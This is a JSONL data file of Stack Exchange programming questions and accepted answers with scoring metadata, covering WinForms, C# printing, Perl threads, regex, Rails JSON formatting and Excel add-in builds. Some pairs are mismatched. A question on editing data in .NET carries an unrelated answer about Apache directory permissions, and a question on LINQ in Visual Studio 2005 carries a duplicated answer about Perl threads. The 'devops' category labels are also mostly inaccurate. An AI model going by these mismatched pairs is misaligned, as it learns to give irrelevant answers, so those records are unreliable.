{"id": "hf_45734cc5214a", "question": "<p>I have a WinForms application with a DataGridView control and a column of DataGridViewButtonCell cells within that. When I click on one of these buttons, it starts a background task, and I'd like to disable the buttons until that task completes.</p>\n\n<p>I can disable the DataGridView control, but it gives no visual indication that the buttons are disabled. I want the user to see that the buttons are disabled, and to notice that the task has finished when the buttons are enabled again.</p>\n\n<p>Bonus points for a method that allows me to disable the buttons individually, so I can leave one of the buttons enabled while the task runs. (Note that I can't actually give out bonus points.)</p>\n", "question_body": "", "answer": "Here's the best solution I've found so far. This\nMSDN article\ngives the source code for a cell class that adds an Enabled property.\nIt works reasonably well, but there are two gotchas:\nYou have to invalidate the grid after setting the Enabled property on any cells. It shows that in the sample code, but I missed it.\nIt's only a visual change, setting the Enabled property doesn't actually enable or disable the button. The user can still click on it. I could check the enabled property before executing the click event, but it also seemed to be messing up the appearance when the user clicked on it. Instead, I just disabled the entire grid. That works alright for me, but I'd prefer a method that allows me to disable some buttons without disabling the entire grid.\nThere's a similar sample in the\nDataGridView FAQ\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.876332"}
{"id": "hf_100770e8e130", "question": "<p>I can make a DAO recordset in VB6/Access do anything - add data, clean data, move data, get data dressed in the morning and take it to school. But I don't even know where to start in .NET. </p>\n\n<p>I'm not having any problems retrieving data from the database, but what do real people do when they need to edit data and put it back?</p>\n\n<p>What's the easiest and most direct way to edit, update and append data into related tables in .NET and SQL Server?</p>\n", "question_body": "", "answer": "Look in the enclosing directories. They need to be at least mode 711. (\n```\ndrwx--x--x\n```\n)\nAlso, look in\n```\n/var/log/apache2/error_log\n```\n(Or whatever the concatenation of\n```\nServerRoot\n```\nand\n```\nErrorLog\n```\nis from the\n```\nhttpd.conf\n```\n) for a possibly more-detailed error message.\nFinally, ensure you restart apache after messing with\n```\nhttpd.conf\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.923007"}
{"id": "hf_b501bb6407ee", "question": "<p>I need to get the default printer name. I'll be using C# but I suspect this is more of a framework question and isn't language specific.</p>\n", "question_body": "", "answer": "The easiest way I found is to create a new\n```\nPrinterSettings\n```\nobject.  It starts with all default values, so you can check its\nName\nproperty to get the name of the default printer.\n```\nPrinterSettings\n```\nis in System.Drawing.dll in the namespace\n```\nSystem.Drawing.Printing\n```\n.\n```\n```\nPrinterSettings settings = new PrinterSettings();\nConsole.WriteLine(settings.PrinterName);\n```\n```\nAlternatively, you could maybe use the static\n```\nPrinterSettings.InstalledPrinters\n```\nmethod to get a list of all printer names, then set the\nPrinterName\nproperty and check the\nIsDefaultPrinter\n.  I haven't tried this, but the documentation seems to suggest it won't work.  Apparently\nIsDefaultPrinter\nis only true when\nPrinterName\nis not explicitly set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.957650"}
{"id": "hf_c5079fc48405", "question": "<p>Polyglot, or multiple language, solutions allow you to apply languages to problems which they are best suited for.  Yet, at least in my experience, software shops tend to want to apply a \"super\" language to all aspects of the problem they are trying to solve.  Sticking with that language come \"hell or high water\" even if another language is available which solves the problem simply and naturally. Why do you or do you not implement using polyglot solutions?</p>\n", "question_body": "", "answer": "One issue that I've run into is that Visual Studio doesn't allow multiple languages to be mixed in a single project, forcing you to abstract things out into separate DLLs for each language, which isn't necessarily ideal.\nI suspect the main reason, however, is the perception that switching back and forth between many different languages leads to programmer inefficiency.  There is some truth to this, I switch constantly between JavaScript, C#, VBScript, and VB.NET and there is a bit of lost time as I switch from one language to another, as I mix my syntax a bit.\nStill, there is definitely room for more \"polyglot\" solutions particularly that extend beyond using JavaScript and whatever back-end programming language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.992389"}
{"id": "hf_7cb2e0967bbb", "question": "<p>Reading through the Flickr API documentation it keeps stating I require an API key to use their REST protocols. I am only building a photo viewer, gathering information available from Flickr's <a href=\"http://www.flickr.com/services/feeds/docs/photos_public/\" rel=\"noreferrer\">public photo feed</a> (For instance, I am not planning on writing an upload script, where a API key would be required). <strong>Is there any added functionality I can get from getting a Key?</strong></p>\n\n<p><strong>Update</strong> I answered the question below</p>\n", "question_body": "", "answer": "The Flickr API is very nice and easy to use and will be much easier than scraping the feed yourself.\nGetting a key takes about 2 minutes - you fill in a form on the website and then email it to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.015864"}
{"id": "hf_f149aefc798b", "question": "<p>Does anyone know of any 'standard' way to interface with a telephony system (think Cisco CCM) from a C/C++ app in *nix?  I have used MS TAPI in the past but this is Windows only and don't want to go the jTAPI (Java) route, which seems to be the only option on the face of it.</p>\n\n<p>I want to monitor the phone system for logging purposes (so I know when users have made calls, received calls, etc.).  TAPI is good at this sort of thing but I can't be the first person who wants to do something similar without having a Windows server.</p>\n\n<p>Note that I need to integrate with existing PABX systems - notably Cisco CCM and Nortel BCM.</p>\n", "question_body": "", "answer": "I have experience with two telephony standards TAPI, and CSTA, as far as I know there is no such agreement between vendors (e.g. Cisco, Nortel, NEC) regarding THE standard API.\nI would recommend looking at the availability of\nSMDR\n(Station Messaging Detail Recording) on the PBX platforms you are targeting, assuming that no call/device control is required. This will allow you to access the PBX activity as a text stream and you can parse the data for further manipulations to suit your purpose.\nMost likely the format between the PBX vendors will be different but hopefully this could be abstracted away so that the core application functionality is re-usable.\nThis is likely to be a more portable option, again assuming no call/device control is required, as you are not relying on the vendor providing CTI connectivity on your platform of choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.120292"}
{"id": "hf_a702b6decadf", "question": "<p>I have a Perl script that I'm attempting to set up using Perl Threads (use threads).  When I run simple tests everything works, but when I do my actual script (which has the threads running multiple SQL<em>Plus sessions), each SQL</em>Plus session runs in order (i.e., thread 1's sqlplus runs steps 1-5, then thread 2's sqlplus runs steps 6-11, etc.).</p>\n\n<p>I thought I understood that threads would do concurrent processing, but something's amiss.  Any ideas, or should I be doing some other Perl magic?</p>\n", "question_body": "", "answer": "Actually, you have no way of guaranteeing in which order threads will execute. So the behavior (if not what you expect) is not really wrong.\nI suspect you have some kind of synchronization going on here. Possibly SQL*Plus only let's itself be called once? Some programs do that...\nOther possiblilties:\nthread creation and process creation (you\nare\ncreating subprocesses for SQL*Plus, aren't you?) take longer than running the thread, so thread 1 is finished before thread 2 even starts\nYou are using transactions in your SQL scripts that force synchronization of database updates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.143193"}
{"id": "hf_080b0e237042", "question": "<p>I normally run VS 2008 at home and LINQ is built in.  At work we are still using VS 2005 and I have the opportunity to start a new project that I would like to use LINQ to SQL.</p>\n\n<p>After doing some searching all I could come up with was the MAY 2006 CTP of LINQ would have to be installed for LINQ to work in VS 2005.</p>\n\n<p>Does someone know the proper add ins or updates I would need to install to use LINQ in VS 2005 (preferably without having to use the CTP mentioned above).</p>\n", "question_body": "", "answer": "Actually, you have no way of guaranteeing in which order threads will execute. So the behavior (if not what you expect) is not really wrong.\nI suspect you have some kind of synchronization going on here. Possibly SQL*Plus only let's itself be called once? Some programs do that...\nOther possiblilties:\nthread creation and process creation (you\nare\ncreating subprocesses for SQL*Plus, aren't you?) take longer than running the thread, so thread 1 is finished before thread 2 even starts\nYou are using transactions in your SQL scripts that force synchronization of database updates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.167031"}
{"id": "hf_bee0d7ed6d68", "question": "<p>I am attempting to find xml files with large swaths of commented out xml.  I would like to programmatically search for xml comments that stretch beyond a given number of lines.  Is there an easy way of doing this?</p>\n", "question_body": "", "answer": "Considering that XML doesn't use a line based format, you should probably check the number of characters. With a regular expression, you can create a pattern to match the comment prefix and match a minimum number of characters before it matches the first comment suffix.\nhttp://www.regular-expressions.info/\nHere is the pattern that worked in some preliminary tests:\n```\n```\n<!-- (.[^-->]|[\\r\\n][^-->]){5}(.[^-->]|[\\r\\n][^-->])*? -->\n```\n```\nIt will match the starting comment prefix and everything including newline character (on a windows OS) and it's lazy so it will stop at the first comment suffix.\nSorry for the edits, you are correct here is an updated pattern. It's obviously not optimized, but in some tests it seems to resolve the error you pointed out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.201649"}
{"id": "hf_63f67861f0c1", "question": "<p>Let's say I have an aspx page with this calendar control:</p>\n\n<pre><code>&lt;asp:Calendar ID=\"Calendar1\" runat=\"server\"  SelectedDate=\"\" &gt;&lt;/asp:Calendar&gt;\n</code></pre>\n\n<p>Is there anything I can put in for SelectedDate to make it use the current date by default, without having to use the code-behind?</p>\n", "question_body": "", "answer": "If you are already doing databinding:\n```\n```\n<asp:Calendar ID=\"Calendar1\" runat=\"server\"  SelectedDate=\"<%# DateTime.Today %>\" />\n```\n```\nWill do it.  This does require that somewhere you are doing a Page.DataBind() call (or a databind call on a parent control).   If you are not doing that and you absolutely do not want any codebehind on the page, then you'll have to create a usercontrol that contains a calendar control and sets its selecteddate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.330893"}
{"id": "hf_09a6723b0237", "question": "<p>Would it not make sense to support a set of languages (Java, Python, Ruby, etc.) by way of a standardized virtual machine hosted in the browser rather than requiring the use of a specialized language -- really, a specialized paradigm -- for client scripting only?</p>\n\n<p>To clarify the suggestion, a web page would contain byte code instead of any higher-level language like JavaScript.</p>\n\n<p>I understand the pragmatic reality that JavaScript is simply what we have to work with now due to evolutionary reasons, but I'm thinking more about the long term.  With regard to backward compatibility, there's no reason that inline JavaScript could not be simultaneously supported for a period of time and of course JavaScript could be one of the languages supported by the browser virtual machine.</p>\n", "question_body": "", "answer": "Well, yes. Certainly if we had a time machine, going back and ensuring a lot of the Javascript features were designed differently would be a major pastime (that, and ensuring the people who designed IE's CSS engine never went into IT). But it's not going to happen, and we're stuck with it now.\nI suspect, in time, it will become the \"Machine language\" for the web, with other better designed languages and APIs compile down to it (and cater for different runtime engine foibles).\nI don't think, however, any of these \"better designed languages\" will be Java, Python or Ruby. Javascript is, despite the ability to be used elsewhere, a Web application scripting language. Given that use case, we can do better than any of those languages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.378185"}
{"id": "hf_fc0c0a872330", "question": "<p>I would like to reload an <code>&lt;iframe&gt;</code> using JavaScript. The best way I found until now was set the iframe’s <code>src</code> attribute to itself, but this isn’t very clean. Any ideas?</p>\n", "question_body": "", "answer": "```\n```\nwindow.frames['frameNameOrIndex'].location.reload();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.401942"}
{"id": "hf_ea59c03d59dc", "question": "<p>I am re-building our poorly designed web application from scratch, and wanted to get into TDD and basically \"do things right\" as kind of a learning project.  What tools, processes, and resources are recommended to do it \"right\" from the start?  I will be working alone as the architect and developer, with the backup of a business analyst and business owners for usability testing and use cases.</p>\n\n<p>EDIT:\nRight now we use SourceSafe for source control, is there any reason technologically that I'd want to try to get us to switch to subversion?</p>\n\n<p>EDIT #2:\nLooks like the consensus is:\nCruise Control.NET\nSubversion(if I want to stop using SourceSafe)\nASP.NET MVC\nNUnit for unit testing\nResharper</p>\n", "question_body": "", "answer": "I highly recommend that you take a look at\nMVC for ASP.NET\nif you want to make unit testing a high priority in your development process.  It sounds like it is perfect for what you are trying to do.\nI would also recommend\nCruiseControl.NET\nfor continuous integration (this is important if your team is going to grow).\nSubversion is my favorite source control system when I am working on small teams.  Use\nTortoise SVN\nfor Windows Explorer integration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.437168"}
{"id": "hf_7d9d048469bc", "question": "<p>ASP.NET 2.0 provides the <code>ClientScript.RegisterClientScriptBlock()</code> method for registering JavaScript in an ASP.NET Page.</p>\n\n<p>The issue I'm having is passing the script when it's located in another directory.  Specifically, the following syntax does not work:</p>\n\n<pre><code>ClientScript.RegisterClientScriptBlock(this.GetType(), \"scriptName\", \"../dir/subdir/scriptName.js\", true);\n</code></pre>\n\n<p>Instead of dropping the code into the page like <a href=\"http://msdn.microsoft.com/en-us/library/aa479390.aspx#javawasp2_topic7\" rel=\"nofollow noreferrer\">this page</a> says it should, it instead displays <code>../dir/subdir/script.js</code> , my question is this:</p>\n\n<p>Has anyone dealt with this before, and found a way to drop in the javascript in a separate file?  Am I going about this the wrong way?</p>\n", "question_body": "", "answer": "Your script value has to be a full script, so put in the following for your script value.\n```\n```\n<script type='text/javascript' src='yourpathhere'></script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.485753"}
{"id": "hf_4547f85ba1da", "question": "<p>I'm using CVS on Windows (with the WinCVS front end), and would like to add details of the last check in to the email from our automated build process, whenever a build fails, in order to make it easier to fix.</p>\n\n<p>I need to know the files that have changed, the user that changed them, and the comment.</p>\n\n<p>I've been trying to work out the command line options, but never seem to get accurate results (either get too many result rather than just from one checkin, or details of some random check in from two weeks ago)</p>\n", "question_body": "", "answer": "CVS does not provide this capability. You can, however, get it by buying a license for\nFishEye\nor possibly by using\nCVSTrac\n(note: I have not tried CVS Trac).\nOr you could migrate to SVN, which does provide this capability via atomic commits. You can check in a group of files and have it count as a single commit. In CVS, each file is a separate commit no matter what you do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.527773"}
{"id": "hf_9ebe96b6bdca", "question": "<p>I have an Ant script that performs a copy operation using the <a href=\"http://ant.apache.org/manual/Tasks/copy.html\" rel=\"noreferrer\">'copy' task</a>. It was written for Windows, and has a hardcoded C:\\ path as the 'todir' argument. I see the 'exec' task has an OS argument, is there a similar way to branch a copy based on OS?</p>\n", "question_body": "", "answer": "You can't use a variable and assign it depending on the type? You could put it in a\n```\nbuild.properties\n```\nfile. Or you could assign it using a\ncondition\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.555227"}
{"id": "hf_e2207cb6337c", "question": "<p>I have a application deployed through clickonce, but How can I modify the config file on the deployment server?.  I mean, once the product is tested, it should be deployed in our production server, but need to modify some of the config parameters to consume production resources?. I heard we should use MageUI.exe, but still not sure. </p>\n\n<p>I appreciate for your help.</p>\n\n<p>Thank</p>\n", "question_body": "", "answer": "Yes, the best way to do it would probably be MageUI.  Just open your manifests with MageUI, click\nSave\nand it should prompt you to resign the manifests.\nYou have two options when signing manifests.  You can use a self-certificate or purchase a certificate.  Self certificates are easy to use but when the app is installed the publisher will appear as\nUnknown\n.  If you purchase a certificate, use these instructions to create the files needed to sign ClickOnce manifests -\nhttp://www.softinsight.com/bnoyes/CommentView.aspx?guid=78d107d1-3937-4d8d-81d9-73cb6ae18eee\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.602642"}
{"id": "hf_1aa191dcd09a", "question": "<p>I've seen a few fixes for allowing PNG images to have transparency in Internet Explorer 6, but I've yet to find one that also allows you to set the background position in CSS. If you use sprites, it's a deal-breaker. I've resorted to using GIF's (which are not as high quality), not using transparent images at all, or serving a completely different stylesheet to IE6. Is there a fix for IE6 that allows for PNG transparencies AND background positioning?</p>\n", "question_body": "", "answer": "Yes.  Convert your images to use indexed pallets (png256).  You can support transparency (just like gif), but not an alpha channel.\nYou can do this using\nIrfanview\nand the pngout plugin,\npngquant\nor\npngnq\n.\nThe YUI performance team also did a\ngreat presentation\nthat covers this an many other image optimization concepts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.626345"}
{"id": "hf_6cfa88bf823d", "question": "<p>What do you think is the best way to create SEO friendly URLs (dynamically) in Rails?</p>\n", "question_body": "", "answer": "Override the\n```\nto_param\n```\nmethod in your model classes so that the default numeric ID is replaced with a meaningful string. For example, this very question uses\nbest-permalinking-for-rails\nin the URL.\nRyan Bates has a\nRailscast on this topic\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.686564"}
{"id": "hf_60732ab5849d", "question": "<p>I have two classes, and want to include a static instance of one class inside the other and access the static fields from the second class via the first.  </p>\n\n<p>This is so I can have non-identical instances with the same name.  </p>\n\n<pre><code>Class A \n{\n    public static package1.Foo foo;\n}\n\nClass B \n{\n    public static package2.Foo foo;\n}\n\n\n//package1\nFoo \n{\n    public final static int bar = 1;\n}\n\n// package2\nFoo\n{\n    public final static int bar = 2;\n}\n\n// usage\nassertEquals(A.foo.bar, 1);\nassertEquals(B.foo.bar, 2);\n</code></pre>\n\n<p>This works, but I get a warning \"The static field Foo.bar shoudl be accessed in a static way\".\nCan someone explain why this is and offer a \"correct\" implementation.</p>\n\n<p>I realize I could access the static instances directly, but if you have a long package hierarchy, that gets ugly:</p>\n\n<pre><code>assertEquals(net.FooCorp.divisions.A.package.Foo.bar, 1);\nassertEquals(net.FooCorp.divisions.B.package.Foo.bar, 2);\n</code></pre>\n", "question_body": "", "answer": "You should use:\n```\n```\nFoo.bar\n```\n```\nAnd not:\n```\n```\nA.foo.bar\n```\n```\nThat's what the warning means.\nThe reason is that\n```\nbar\n```\nisn't a member of an\ninstance\nof\n```\nFoo\n```\n.  Rather,\n```\nbar\n```\nis global, on the class\n```\nFoo\n```\n.  The compiler wants you to reference it globally rather than pretending it's a member of the instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.784180"}
{"id": "hf_04b9e427f845", "question": "<p>I would like my JSON output in Ruby on Rails to be \"pretty\" or nicely formatted. </p>\n\n<p>Right now, I call <code>to_json</code> and my JSON is all on one line.  At times this can be difficult to see if there is a problem in the JSON output stream.</p>\n\n<p>Is there way to configure to make my JSON \"pretty\" or nicely formatted in Rails?</p>\n", "question_body": "", "answer": "Use the\n```\npretty_generate()\n```\nfunction, built into later versions of JSON. For example:\n```\n```\nrequire 'json'\nmy_object = { :array => [1, 2, 3, { :sample => \"hash\"} ], :foo => \"bar\" }\nputs JSON.pretty_generate(my_object)\n```\n```\nWhich gets you:\n```\n```\n{\n  \"array\": [\n    1,\n    2,\n    3,\n    {\n      \"sample\": \"hash\"\n    }\n  ],\n  \"foo\": \"bar\"\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.820390"}
{"id": "hf_f3627dda6f08", "question": "<p>I'm trying to create a build script for my current project, which includes an Excel Add-in.  The Add-in contains a VBProject with a file modGlobal with a variable version_Number.   This number needs to be changed for every build.  The exact steps:</p>\n\n<ol>\n<li>Open XLA document with Excel.</li>\n<li>Switch to VBEditor mode. (Alt+F11)</li>\n<li>Open VBProject, entering a password.</li>\n<li>Open modGlobal file.</li>\n<li>Change variable's default value to the current date.</li>\n<li>Close &amp; save the project.</li>\n</ol>\n\n<p>I'm at a loss for how to automate the process.  The best I can come up with is an excel macro or Auto-IT script.  I could also write a custom MSBuild task, but that might get... tricky.  Does anyone else have any other suggestions?</p>\n", "question_body": "", "answer": "I'm not 100% sure how to do exactly what you have requested. But guessing the goal you have in mind there are a few possibilities.\n1)\nMake part (or all) of your Globals a separate text file that is distributed with the .XLA I would use this for external references such as the version of the rest of your app. Write this at build time and distribute, and read on the load of the XLA.\n2)\nI'm guessing your writing the version of the main component (ie: the non XLA part) of your application. If this is tru why store this in your XLA? Why not have the main part of the app allow certain version of the XLA to work. Version 1.1 of the main app could accept calls from Version 7.1 - 8.9 of the XLA.\n3)\nIf you are just looking to update the XLA so it gets included in your version control system or similar (i'm guessing here) maybe just touch the file so it looks like it changed.\nIf it's the version of the rest of the app that you are controlling i'd just stick it in a text file and distribute that along with the XLA.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.950076"}
{"id": "hf_7223a77e4e44", "question": "<p>Say I have two strings,</p>\n\n<pre><code>String s1 = \"AbBaCca\";\nString s2 = \"bac\";\n</code></pre>\n\n<p>I want to perform a check returning that <code>s2</code> is contained within <code>s1</code>. I can do this with:</p>\n\n<pre><code>return s1.contains(s2);\n</code></pre>\n\n<p>I am pretty sure that <code>contains()</code> is case sensitive, however I can't determine this for sure from reading the documentation. If it is then I suppose my best method would be something like:</p>\n\n<pre><code>return s1.toLowerCase().contains(s2.toLowerCase());\n</code></pre>\n\n<p>All this aside, is there another (possibly better) way to accomplish this without caring about case-sensitivity?</p>\n", "question_body": "", "answer": "Yes, contains is case sensitive.  You can use java.util.regex.Pattern with the CASE_INSENSITIVE flag for case insensitive matching:\n```\n```\nPattern.compile(Pattern.quote(wantedStr), Pattern.CASE_INSENSITIVE).matcher(source).find();\n```\n```\nEDIT:\nIf s2 contains regex special characters (of which there are many) it's important to quote it first.  I've corrected my answer since it is the first one people will see, but vote up Matt Quail's since he pointed this out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:56.989419"}
{"id": "hf_53f0bc00f047", "question": "<p>I'm designing a web site navigation hierarchy. It's a tree of nodes.  Nodes represent web pages.</p>\n\n<p>Some nodes on the tree are special.  I need a name for them.</p>\n\n<p>There are multiple such nodes. Each is the \"root\" of a sub-tree with pages that have a distinct logo, style sheet, or layout. Think of different departments.</p>\n\n<p><a href=\"http://img518.imageshack.us/img518/153/subtreesfe1.gif\" rel=\"nofollow noreferrer\">site map with color-coded sub-trees http://img518.imageshack.us/img518/153/subtreesfe1.gif</a></p>\n\n<p>What should I name this type of node?</p>\n", "question_body": "", "answer": "How about Root (node with children, but no parent), Node (node with children and parent) and Leaf (node with no children and parent)?\nYou can then distinguish by name and position within the tree structure (E.g. DepartmentRoot, DepartmentNode, DepartmentLeaf) if need be..\nUpdate Following Comment from OP\nLooking at your question, you said that \"some\" are special, and in your diagram, you have different nodes looking differently at different levels. The nodes may be different in their design, you can build a tree structure many ways. For example, a single abstract class that\ncan\nhave child nodes, if no children, its a leaf, if no parent, its a root but this can change in its lifetime. Or, a fixed class structure in which leafs are a specific class type that\ncannot\nhave children added to them in any way.\nIF your design does not need you to distinguish nodes differently depending on their position (relative to the root) it suggests that you have an abstract class used for them all.\nIn which case, it raises the question,\nhow is it different?\nIf it is simply the same as the standard node everywhere else, but with a bit of styling, how about\nStyledNode\n? Do you even need it to be seperate (no style == no big deal, it doesn't render).\nSince I don't know the mechanics of how the tree is architected, there could possibly be several factors to consider when naming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.016507"}
{"id": "hf_ef1cf342e2b9", "question": "<p>I've recently embarked upon the <em>grand voyage</em> of Wordpress theming and I've been reading through the Wordpress documentation for how to write a theme.  One thing I came across <a href=\"http://codex.wordpress.org/Theme_Development\" rel=\"nofollow noreferrer\">here</a> was that the <code>style.css</code> file must contain a specific header in order to be used by the Wordpress engine.  They give a brief example but I haven't been able to turn up any formal description of what must be in the <code>style.css</code> header portion.  Does this exist on the Wordpress site?  If it doesn't could we perhaps describe it here?</p>\n", "question_body": "", "answer": "You are probably thinking about this:\n```\n```\n/*\nTHEME NAME: Parallax\nTHEME URI: http://parallaxdenigrate.net\nVERSION: .1\nAUTHOR: Martin Jacobsen\nAUTHOR URI: http://martinjacobsen.no\n*/\n```\n```\nIf I'm not way off, Wordpress uses this info to display in the \"Activate Design\" dialog in the admin backend.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.064468"}
{"id": "hf_81c74c85b4f5", "question": "<p>I'm using exim on both the sending and relay hosts, the sending host seems to offer:</p>\n\n<pre><code>HELO foo_bar.example.com\n</code></pre>\n\n<p>Response: </p>\n\n<pre><code>501 Syntactically invalid HELO argument(s)\n</code></pre>\n", "question_body": "", "answer": "Possibly a problem with underscores in the hostname?\nhttp://www.exim.org/lurker/message/20041124.113314.c44c83b2.en.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.158772"}
{"id": "hf_eb7297cefa20", "question": "<p>I am looking for a tool that can serialize and/or transform SQL Result Sets into XML. Getting dumbed down XML generation from SQL result sets is simple and trivial, but that's not what I need.</p>\n\n<p>The solution has to be database neutral, and accepts only regular SQL query results (no db xml support used). A particular challenge of this tool is to provide nested XML matching any schema from row based results. Intermediate steps are too slow and wasteful - this needs to happen in one single step; no RS->object->XML, preferably no RS->XML->XSLT->XML. It must support streaming due to large result sets, big XML.</p>\n\n<p>Anything out there for this?</p>\n", "question_body": "", "answer": "Not that I know of.  I would just roll my own.  It's not that hard to do, maybe something like this:\n```\n```\n#!/usr/bin/env jruby\n\nimport java.sql.DriverManager\n\n# TODO  some magic to load the driver\nconn = DriverManager.getConnection(ARGV[0], ARGV[1], ARGV[2])\nres = conn.executeQuery ARGV[3]\n\nputs \"<result>\"\nmeta = res.meta_data\nwhile res.next\n  puts \"<row>\"\n\n  for n in 1..meta.column_count\n    column = meta.getColumnName n\n    puts \"<#{column}>#{res.getString(n)}</#{column}\"\n  end      \n\n  puts \"</row>\"\nend\nputs \"</result>\"\n```\n```\nDisclaimer:\nI just made all of that up, I'm not even bothering to pretend that it works.  :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.182558"}
